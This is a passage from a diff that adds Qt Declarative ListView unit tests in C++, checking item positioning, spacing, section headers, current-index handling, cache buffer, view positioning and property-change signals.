+ // view should be positioned at the top of the range.
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", 0);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(listview->contentY(), -100.0);
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", 0);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(0));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", 0);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(0));
+
+ // Check currentIndex is updated when contentItem moves
+ listview->setContentY(20);
+
+ QTRY_COMPARE(listview->currentIndex(), 6);
+
+ // change model
+ TestModel model2;
+ for (int i = 0; i < 5; i++)
+ model2.addItem("Item" + QString::number(i), "");
+
+ ctxt->setContextProperty("testModel", &model2);
+ QCOMPARE(listview->count(), 5);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::spacing()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->y() == i*20);
+ }
+
+ listview->setSpacing(10);
+ QTRY_VERIFY(listview->spacing() == 10);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->y() == i*30);
+ }
+
+ listview->setSpacing(0);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*20.0);
+ }
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::sections()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), QString::number(i/5));
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listview-sections.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), qreal(i*20 + ((i+4)/5) * 20));
+ QDeclarativeText *next = findItem<QDeclarativeText>(item, "nextSection");
+ QCOMPARE(next->text().toInt(), (i+1)/5);
+ }
+
+ QSignalSpy currentSectionChangedSpy(listview, SIGNAL(currentSectionChanged()));
+
+ // Remove section boundary
+ model.removeItem(5);
+
+ // New section header created
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", 5);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->height(), 40.0);
+
+ model.insertItem(3, "New Item", "0");
+
+ // Section header moved
+ item = findItem<QDeclarativeItem>(contentItem, "wrapper", 5);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->height(), 20.0);
+
+ item = findItem<QDeclarativeItem>(contentItem, "wrapper", 6);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->height(), 40.0);
+
+ // insert item which will become a section header
+ model.insertItem(6, "Replace header", "1");
+
+ item = findItem<QDeclarativeItem>(contentItem, "wrapper", 6);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->height(), 40.0);
+
+ item = findItem<QDeclarativeItem>(contentItem, "wrapper", 7);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->height(), 20.0);
+
+ QTRY_COMPARE(listview->currentSection(), QString("0"));
+
+ listview->setContentY(140);
+ QTRY_COMPARE(listview->currentSection(), QString("1"));
+
+ QTRY_COMPARE(currentSectionChangedSpy.count(), 1);
+
+ listview->setContentY(20);
+ QTRY_COMPARE(listview->currentSection(), QString("0"));
+
+ QTRY_COMPARE(currentSectionChangedSpy.count(), 2);
+
+ item = findItem<QDeclarativeItem>(contentItem, "wrapper", 1);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->height(), 20.0);
+
+ // check that headers change when item changes
+ listview->setContentY(0);
+ model.modifyItem(0, "changed", "2");
+
+ item = findItem<QDeclarativeItem>(contentItem, "wrapper", 1);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->height(), 40.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::sectionsDelegate()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), QString::number(i/5));
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listview-sections_delegate.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), qreal(i*20 + ((i+5)/5) * 20));
+ QDeclarativeText *next = findItem<QDeclarativeText>(item, "nextSection");
+ QCOMPARE(next->text().toInt(), (i+1)/5);
+ }
+
+ for (int i = 0; i < 3; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "sect_" + QString::number(i));
+ QVERIFY(item);
+ QTRY_COMPARE(item->y(), qreal(i*20*6));
+ }
+
+ model.modifyItem(0, "One", "aaa");
+ model.modifyItem(1, "Two", "aaa");
+ model.modifyItem(2, "Three", "aaa");
+ model.modifyItem(3, "Four", "aaa");
+ model.modifyItem(4, "Five", "aaa");
+
+ for (int i = 0; i < 3; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem,
+ "sect_" + (i == 0 ? QString("aaa") : QString::number(i)));
+ QVERIFY(item);
+ QTRY_COMPARE(item->y(), qreal(i*20*6));
+ }
+
+ // remove section boundary
+ model.removeItem(5);
+ qApp->processEvents();
+ for (int i = 0; i < 3; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem,
+ "sect_" + (i == 0 ? QString("aaa") : QString::number(i)));
+ QVERIFY(item);
+ }
+
+ // QTBUG-17606
+ QList<QDeclarativeItem*> items = findItems<QDeclarativeItem>(contentItem, "sect_1");
+ QCOMPARE(items.count(), 1);
+
+ // QTBUG-17759
+ model.modifyItem(0, "One", "aaa");
+ model.modifyItem(1, "One", "aaa");
+ model.modifyItem(2, "One", "aaa");
+ model.modifyItem(3, "Four", "aaa");
+ model.modifyItem(4, "Four", "aaa");
+ model.modifyItem(5, "Four", "aaa");
+ model.modifyItem(6, "Five", "aaa");
+ model.modifyItem(7, "Five", "aaa");
+ model.modifyItem(8, "Five", "aaa");
+ model.modifyItem(9, "Two", "aaa");
+ model.modifyItem(10, "Two", "aaa");
+ model.modifyItem(11, "Two", "aaa");
+ QTRY_COMPARE(findItems<QDeclarativeItem>(contentItem, "sect_aaa").count(), 1);
+ canvas->rootObject()->setProperty("sectionProperty", "name");
+ // ensure view has settled.
+ QTRY_COMPARE(findItems<QDeclarativeItem>(contentItem, "sect_Four").count(), 1);
+ for (int i = 0; i < 4; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem,
+ "sect_" + model.name(i*3));
+ QVERIFY(item);
+ QTRY_COMPARE(item->y(), qreal(i*20*4));
+ }
+
+ // QTBUG-17769
+ model.removeItems(10, 20);
+ // ensure view has settled.
+ QTRY_COMPARE(findItems<QDeclarativeItem>(contentItem, "wrapper").count(), 10);
+ // Drag view up beyond bounds
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(20,20)));
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(20,0)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(20,-50)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(20,-200)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(20,-200)));
+ // view should settle back at 0
+ QTRY_COMPARE(listview->contentY(), 0.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::currentIndex()
+{
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), QString::number(i));
+
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testWrap", QVariant(false));
+
+ QString filename(SRCDIR "/data/listview-initCurrent.qml");
+ canvas->setSource(QUrl::fromLocalFile(filename));
+
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // current item should be 20th item at startup
+ // and current item should be in view
+ QCOMPARE(listview->currentIndex(), 20);
+ QCOMPARE(listview->contentY(), 100.0);
+ QCOMPARE(listview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 20));
+ QCOMPARE(listview->highlightItem()->y(), listview->currentItem()->y());
+
+ // no wrap
+ listview->setCurrentIndex(0);
+ QCOMPARE(listview->currentIndex(), 0);
+ // confirm that the velocity is updated
+ QTRY_VERIFY(listview->verticalVelocity() != 0.0);
+
+ listview->incrementCurrentIndex();
+ QCOMPARE(listview->currentIndex(), 1);
+ listview->decrementCurrentIndex();
+ QCOMPARE(listview->currentIndex(), 0);
+
+ listview->decrementCurrentIndex();
+ QCOMPARE(listview->currentIndex(), 0);
+
+ // with wrap
+ ctxt->setContextProperty("testWrap", QVariant(true));
+ QVERIFY(listview->isWrapEnabled());
+
+ listview->decrementCurrentIndex();
+ QCOMPARE(listview->currentIndex(), model.count()-1);
+
+ QTRY_COMPARE(listview->contentY(), 280.0);
+
+ listview->incrementCurrentIndex();
+ QCOMPARE(listview->currentIndex(), 0);
+
+ QTRY_COMPARE(listview->contentY(), 0.0);
+
+ // Test keys
+ canvas->show();
+ qApp->setActiveWindow(canvas);
+#ifdef Q_WS_X11
+ // to be safe and avoid failing setFocus with window managers
+ qt_x11_wait_for_window_manager(canvas);
+#endif
+ QTRY_VERIFY(canvas->hasFocus());
+ QTRY_VERIFY(canvas->scene()->hasFocus());
+ qApp->processEvents();
+
+ QTest::keyClick(canvas, Qt::Key_Down);
+ QCOMPARE(listview->currentIndex(), 1);
+
+ QTest::keyClick(canvas, Qt::Key_Up);
+ QCOMPARE(listview->currentIndex(), 0);
+
+ // turn off auto highlight
+ listview->setHighlightFollowsCurrentItem(false);
+ QVERIFY(listview->highlightFollowsCurrentItem() == false);
+
+ QVERIFY(listview->highlightItem());
+ qreal hlPos = listview->highlightItem()->y();
+
+ listview->setCurrentIndex(4);
+ QTRY_COMPARE(listview->highlightItem()->y(), hlPos);
+
+ // insert item before currentIndex
+ listview->setCurrentIndex(28);
+ model.insertItem(0, "Foo", "1111");
+ QTRY_COMPARE(canvas->rootObject()->property("current").toInt(), 29);
+
+ // check removing highlight by setting currentIndex to -1;
+ listview->setCurrentIndex(-1);
+
+ QCOMPARE(listview->currentIndex(), -1);
+ QVERIFY(!listview->highlightItem());
+ QVERIFY(!listview->currentItem());
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::noCurrentIndex()
+{
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), QString::number(i));
+
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ QString filename(SRCDIR "/data/listview-noCurrent.qml");
+ canvas->setSource(QUrl::fromLocalFile(filename));
+
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // current index should be -1 at startup
+ // and we should not have a currentItem or highlightItem
+ QCOMPARE(listview->currentIndex(), -1);
+ QCOMPARE(listview->contentY(), 0.0);
+ QVERIFY(!listview->highlightItem());
+ QVERIFY(!listview->currentItem());
+
+ listview->setCurrentIndex(2);
+ QCOMPARE(listview->currentIndex(), 2);
+ QVERIFY(listview->highlightItem());
+ QVERIFY(listview->currentItem());
+}
+
+void tst_QDeclarativeListView::itemList()
+{
+ QDeclarativeView *canvas = createView();
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/itemlist.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "view");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QDeclarativeVisualItemModel *model = canvas->rootObject()->findChild<QDeclarativeVisualItemModel*>("itemModel");
+ QTRY_VERIFY(model != 0);
+
+ QTRY_VERIFY(model->count() == 3);
+ QTRY_COMPARE(listview->currentIndex(), 0);
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "item1");
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), 0.0);
+ QCOMPARE(item->height(), listview->height());
+
+ QDeclarativeText *text = findItem<QDeclarativeText>(contentItem, "text1");
+ QTRY_VERIFY(text);
+ QTRY_COMPARE(text->text(), QLatin1String("index: 0"));
+
+ listview->setCurrentIndex(2);
+
+ item = findItem<QDeclarativeItem>(contentItem, "item3");
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), 480.0);
+
+ text = findItem<QDeclarativeText>(contentItem, "text3");
+ QTRY_VERIFY(text);
+ QTRY_COMPARE(text->text(), QLatin1String("index: 2"));
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::cacheBuffer()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+ QTRY_VERIFY(listview->delegate() != 0);
+ QTRY_VERIFY(listview->model() != 0);
+ QTRY_VERIFY(listview->highlight() != 0);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->y() == i*20);
+ }
+
+ testObject->setCacheBuffer(400);
+ QTRY_VERIFY(listview->cacheBuffer() == 400);
+
+ int newItemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ QTRY_VERIFY(newItemCount > itemCount);
+
+ // Confirm items positioned correctly
+ for (int i = 0; i < model.count() && i < newItemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->y() == i*20);
+ }
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::positionViewAtIndex()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 40; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*20.);
+ }
+
+ // Position on a currently visible item
+ listview->positionViewAtIndex(3, QDeclarativeListView::Beginning);
+ QTRY_COMPARE(listview->contentY(), 60.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 3; i < model.count() && i < itemCount-3-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*20.);
+ }
+
+ // Position on an item beyond the visible items
+ listview->positionViewAtIndex(22, QDeclarativeListView::Beginning);
+ QTRY_COMPARE(listview->contentY(), 440.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 22; i < model.count() && i < itemCount-22-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*20.);
+ }
+
+ // Position on an item that would leave empty space if positioned at the top
+ listview->positionViewAtIndex(28, QDeclarativeListView::Beginning);
+ QTRY_COMPARE(listview->contentY(), 480.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 24; i < model.count() && i < itemCount-24-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*20.);
+ }
+
+ // Position at the beginning again
+ listview->positionViewAtIndex(0, QDeclarativeListView::Beginning);
+ QTRY_COMPARE(listview->contentY(), 0.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*20.);
+ }
+
+ // Position at End using last index
+ listview->positionViewAtIndex(model.count()-1, QDeclarativeListView::End);
+ QTRY_COMPARE(listview->contentY(), 480.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 24; i < model.count(); ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*20.);
+ }
+
+ // Position at End
+ listview->positionViewAtIndex(20, QDeclarativeListView::End);
+ QTRY_COMPARE(listview->contentY(), 100.);
+
+ // Position in Center
+ listview->positionViewAtIndex(15, QDeclarativeListView::Center);
+ QTRY_COMPARE(listview->contentY(), 150.);
+
+ // Ensure at least partially visible
+ listview->positionViewAtIndex(15, QDeclarativeListView::Visible);
+ QTRY_COMPARE(listview->contentY(), 150.);
+
+ listview->setContentY(302);
+ listview->positionViewAtIndex(15, QDeclarativeListView::Visible);
+ QTRY_COMPARE(listview->contentY(), 302.);
+
+ listview->setContentY(320);
+ listview->positionViewAtIndex(15, QDeclarativeListView::Visible);
+ QTRY_COMPARE(listview->contentY(), 300.);
+
+ listview->setContentY(85);
+ listview->positionViewAtIndex(20, QDeclarativeListView::Visible);
+ QTRY_COMPARE(listview->contentY(), 85.);
+
+ listview->setContentY(75);
+ listview->positionViewAtIndex(20, QDeclarativeListView::Visible);
+ QTRY_COMPARE(listview->contentY(), 100.);
+
+ // Ensure completely visible
+ listview->setContentY(120);
+ listview->positionViewAtIndex(20, QDeclarativeListView::Contain);
+ QTRY_COMPARE(listview->contentY(), 120.);
+
+ listview->setContentY(302);
+ listview->positionViewAtIndex(15, QDeclarativeListView::Contain);
+ QTRY_COMPARE(listview->contentY(), 300.);
+
+ listview->setContentY(85);
+ listview->positionViewAtIndex(20, QDeclarativeListView::Contain);
+ QTRY_COMPARE(listview->contentY(), 100.);
+
+ // positionAtBeginnging
+ listview->positionViewAtBeginning();
+ QTRY_COMPARE(listview->contentY(), 0.);
+
+ listview->setContentY(80);
+ canvas->rootObject()->setProperty("showHeader", true);
+ listview->positionViewAtBeginning();
+ QTRY_COMPARE(listview->contentY(), -30.);
+
+ // positionAtEnd
+ listview->positionViewAtEnd();
+ QTRY_COMPARE(listview->contentY(), 480.); // 40*20 - 320
+
+ listview->setContentY(80);
+ canvas->rootObject()->setProperty("showFooter", true);
+ listview->positionViewAtEnd();
+ QTRY_COMPARE(listview->contentY(), 510.);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::resetModel()
+{
+ QDeclarativeView *canvas = createView();
+
+ QStringList strings;
+ strings << "one" << "two" << "three";
+ QStringListModel model(strings);
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/displaylist.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QTRY_COMPARE(listview->count(), model.rowCount());
+
+ for (int i = 0; i < model.rowCount(); ++i) {
+ QDeclarativeText *display = findItem<QDeclarativeText>(contentItem, "displayText", i);
+ QTRY_VERIFY(display != 0);
+ QTRY_COMPARE(display->text(), strings.at(i));
+ }
+
+ strings.clear();
+ strings << "four" << "five" << "six" << "seven";
+ model.setStringList(strings);
+
+ QTRY_COMPARE(listview->count(), model.rowCount());
+
+ for (int i = 0; i < model.rowCount(); ++i) {
+ QDeclarativeText *display = findItem<QDeclarativeText>(contentItem, "displayText", i);
+ QTRY_VERIFY(display != 0);
+ QTRY_COMPARE(display->text(), strings.at(i));
+ }
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::propertyChanges()
+{
+ QDeclarativeView *canvas = createView();
+ QTRY_VERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychangestest.qml"));
+
+ QDeclarativeListView *listView = canvas->rootObject()->findChild<QDeclarativeListView*>("listView");
+ QTRY_VERIFY(listView);
+
+ QSignalSpy highlightFollowsCurrentItemSpy(listView, SIGNAL(highlightFollowsCurrentItemChanged()));
+ QSignalSpy preferredHighlightBeginSpy(listView, SIGNAL(preferredHighlightBeginChanged()));
+ QSignalSpy preferredHighlightEndSpy(listView, SIGNAL(preferredHighlightEndChanged()));
+ QSignalSpy highlightRangeModeSpy(listView, SIGNAL(highlightRangeModeChanged()));
+ QSignalSpy keyNavigationWrapsSpy(listView, SIGNAL(keyNavigationWrapsChanged()));
+ QSignalSpy cacheBufferSpy(listView, SIGNAL(cacheBufferChanged()));
+ QSignalSpy snapModeSpy(listView, SIGNAL(snapModeChanged()));
+
+ QTRY_COMPARE(listView->highlightFollowsCurrentItem(), true);
+ QTRY_COMPARE(listView->preferredHighlightBegin(), 0.0);
+ QTRY_COMPARE(listView->preferredHighlightEnd(), 0.0);
+ QTRY_COMPARE(listView->highlightRangeMode(), QDeclarativeListView::ApplyRange);
+ QTRY_COMPARE(listView->isWrapEnabled(), true);
+ QTRY_COMPARE(listView->cacheBuffer(), 10);
+ QTRY_COMPARE(listView->snapMode(), QDeclarativeListView::SnapToItem);
+
+ listView->setHighlightFollowsCurrentItem(false);
+ listView->setPreferredHighlightBegin(1.0);
+ listView->setPreferredHighlightEnd(1.0);
+ listView->setHighlightRangeMode(QDeclarativeListView::StrictlyEnforceRange);
+ listView->setWrapEnabled(false);
+ listView->setCacheBuffer(3);
+ listView->setSnapMode(QDeclarativeListView::SnapOneItem);
+
+ QTRY_COMPARE(listView->highlightFollowsCurrentItem(), false);
+ QTRY_COMPARE(listView->preferredHighlightBegin(), 1.0);
+ QTRY_COMPARE(listView->preferredHighlightEnd(), 1.0);
+ QTRY_COMPARE(listView->highlightRangeMode(), QDeclarativeListView::StrictlyEnforceRange);
+ QTRY_COMPARE(listView->isWrapEnabled(), false);
+ QTRY_COMPARE(listView->cacheBuffer(), 3);
+ QTRY_COMPARE(listView->snapMode(), QDeclarativeListView::SnapOneItem);
+
+ QTRY_COMPARE(highlightFollowsCurrentItemSpy.count(),1);
+ QTRY_COMPARE(preferredHighlightBeginSpy.count(),1);
+ QTRY_COMPARE(preferredHighlightEndSpy.count(),1);
+ QTRY_COMPARE(highlightRangeModeSpy.count(),1);
+ QTRY_COMPARE(keyNavigationWrapsSpy.count(),1);
+ QTRY_COMPARE(cacheBufferSpy.count(),1);
+ QTRY_COMPARE(snapModeSpy.count(),1);
+
+ listView->setHighlightFollowsCurrentItem(false);
+ listView->setPreferredHighlightBegin(1.0);
+ listView->setPreferredHighlightEnd(1.0);
+ listView->setHighlightRangeMode(QDeclarativeListView::StrictlyEnforceRange);
+ listView->setWrapEnabled(false);
+ listView->setCacheBuffer(3);
+ listView->setSnapMode(QDeclarativeListView::SnapOneItem);
+
+ QTRY_COMPARE(highlightFollowsCurrentItemSpy.count(),1);
+ QTRY_COMPARE(preferredHighlightBeginSpy.count(),1);
+ QTRY_COMPARE(preferredHighlightEndSpy.count(),1);
+ QTRY_COMPARE(highlightRangeModeSpy.count(),1);
+ QTRY_COMPARE(keyNavigationWrapsSpy.count(),1);
+ QTRY_COMPARE(cacheBufferSpy.count(),1);
+ QTRY_COMPARE(snapModeSpy.count(),1);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::componentChanges()
+{
+ QDeclarativeView *canvas = createView();
+ QTRY_VERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychangestest.qml"));
+
+ QDeclarativeListView *listView = canvas->rootObject()->findChild<QDeclarativeListView*>("listView");
+ QTRY_VERIFY(listView);
+
+ QDeclarativeComponent component(canvas->engine());
+ component.setData("import QtQuick 1.0; Rectangle { color: \"blue\"; }", QUrl::fromLocalFile(""));
+
+ QDeclarativeComponent delegateComponent(canvas->engine());
+ delegateComponent.setData("import QtQuick 1.0; Text { text: '<b>Name:</b> ' + name }", QUrl::fromLocalFile(""));
+
+ QSignalSpy highlightSpy(listView, SIGNAL(highlightChanged()));
+ QSignalSpy delegateSpy(listView, SIGNAL(delegateChanged()));
